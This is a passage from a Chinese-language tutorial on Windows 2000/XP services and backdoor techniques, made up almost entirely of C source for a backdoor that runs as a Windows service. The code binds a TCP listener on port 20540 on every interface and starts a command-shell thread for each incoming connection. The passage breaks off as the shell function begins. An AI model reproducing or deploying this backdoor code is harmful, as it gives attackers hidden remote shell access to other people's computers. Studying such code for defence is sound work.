浅析Windows 2000/XP服务与后门技术

浅析Windows 2000/XP服务与后门技术(6) else
{
lpProcessDataHead=NULL;
}
}

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}

ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}

return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}

hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;

while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}

WSACleanup();
return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;